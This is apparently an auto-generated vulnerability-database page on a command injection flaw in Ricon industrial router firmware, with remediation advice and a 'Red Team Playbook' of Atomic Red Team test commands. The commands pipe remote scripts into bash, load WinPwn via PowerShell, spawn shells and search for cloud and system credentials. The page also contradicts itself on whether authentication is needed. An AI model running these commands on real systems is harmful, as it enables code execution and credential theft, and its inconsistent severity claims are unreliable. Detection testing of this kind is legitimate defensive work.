CVE-2022-0365
Overview
This vulnerability is an authenticated OS command injection affecting the Ricon Industrial Cellular Router firmware versions 16.10.3 for models s9922l and s9922xl. The root cause lies in improper input validation within the router's administrative interface, allowing crafted inputs to be executed as shell commands under the root user context. The flaw resides in the router's command processing component that fails to sanitize user-supplied data before execution.
Vulnerability Description
The affected product is vulnerable to an authenticated OS command injection, which may allow an attacker to inject and execute arbitrary shell commands as the Admin (root) user.
Impact
An attacker with authenticated access to the Ricon Industrial Cellular Router can execute arbitrary shell commands as the root user, enabling full system compromise. This can lead to unauthorized control over the device, disruption of network operations, and potential lateral movement within the industrial control environment. The vulnerability requires no user interaction and can be exploited remotely over the network, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N, making it highly exploitable in operational contexts.
Solution
Ricon has released firmware updates addressing this vulnerability in version 16.10.4 or later for the s9922l and s9922xl models. Users should apply these patches promptly as detailed in the CISA advisory ICSA-22-032-01 (https://www.cisa.gov/uscert/ics/advisories/icsa-22-032-01). No alternative workarounds are specified; therefore, upgrading to the fixed firmware version is the recommended remediation step to mitigate the command injection risk.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question pertains to an authenticated OS command injection flaw within specific firmware versions of Ricon Mobile's S9922L and S9922XL devices. This type of vulnerability allows an attacker, who has already gained authenticated access to the system, to inject and execute arbitrary shell commands with the privileges of the Admin (root) user. The root access level is particularly concerning, as it provides the attacker with extensive control over the device, enabling them to manipulate system files, alter configurations, or even install malicious software. The nature of this vulnerability suggests that it could be exploited through various input fields or parameters that do not adequately sanitize user input before processing.
Attack vectors for this vulnerability are varied, but they generally require the attacker to have some level of authenticated access to the affected devices. This could be achieved through stolen credentials, social engineering, or exploiting other vulnerabilities within the system. Once authenticated, an attacker could leverage the command injection flaw by crafting specific input that is processed by the operating system. For instance, if a web interface allows users to submit commands or parameters without proper validation, an attacker could input malicious commands that the system would execute. This exploitation could lead to a range of malicious activities, including data exfiltration, system compromise, or even the establishment of persistent backdoors for future access.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on the affected firmware for critical operations. The potential for an attacker to gain root access means that sensitive data could be exposed or manipulated, leading to severe consequences such as data breaches, loss of customer trust, and financial repercussions. Additionally, if the compromised devices are part of a larger network, the attacker could pivot to other systems, escalating the risk of widespread compromise. The high CVSS score of 9.8 underscores the severity of this vulnerability, indicating that it poses a critical risk to the integrity and confidentiality of the affected systems.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the firmware to the latest versions provided by Ricon Mobile is essential, as updates often include patches for known vulnerabilities. Furthermore, organizations should conduct thorough security assessments, including penetration testing and code reviews, to identify potential injection points within their applications. Employing web application firewalls (WAFs) can also help filter out malicious input before it reaches the application layer. Additionally, implementing strong access controls and monitoring user activity can help detect unauthorized access attempts, thus reducing the likelihood of exploitation.
In conclusion, the authenticated OS command injection vulnerability in the affected Ricon Mobile firmware presents a serious threat to organizations utilizing these devices. The ability for an attacker to execute arbitrary commands as the root user can lead to devastating consequences, including data breaches and system manipulation. By adopting proactive detection and mitigation strategies, organizations can significantly reduce their exposure to this vulnerability and enhance their overall cybersecurity posture. Continuous monitoring and timely updates are critical in safeguarding against such high-risk vulnerabilities in an increasingly complex threat landscape.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Riconmobile | S9922l Firmware | 16.10.3 |
cpe:2.3:o:riconmobile:s9922l_firmware:16.10.3:*:*:*:*:*:*:*
|
|
|
Riconmobile | S9922xl Firmware | 16.10.3 |
cpe:2.3:o:riconmobile:s9922xl_firmware:16.10.3:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
58%
|
High | High | |
| CAPEC-6 | Argument Injection |
51%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
48%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-0365 |
| cisa.gov |
GitHub CVE
x_refsource_CONFIRM
|
https://www.cisa.gov/uscert/ics/advisories/icsa-22-032-01 |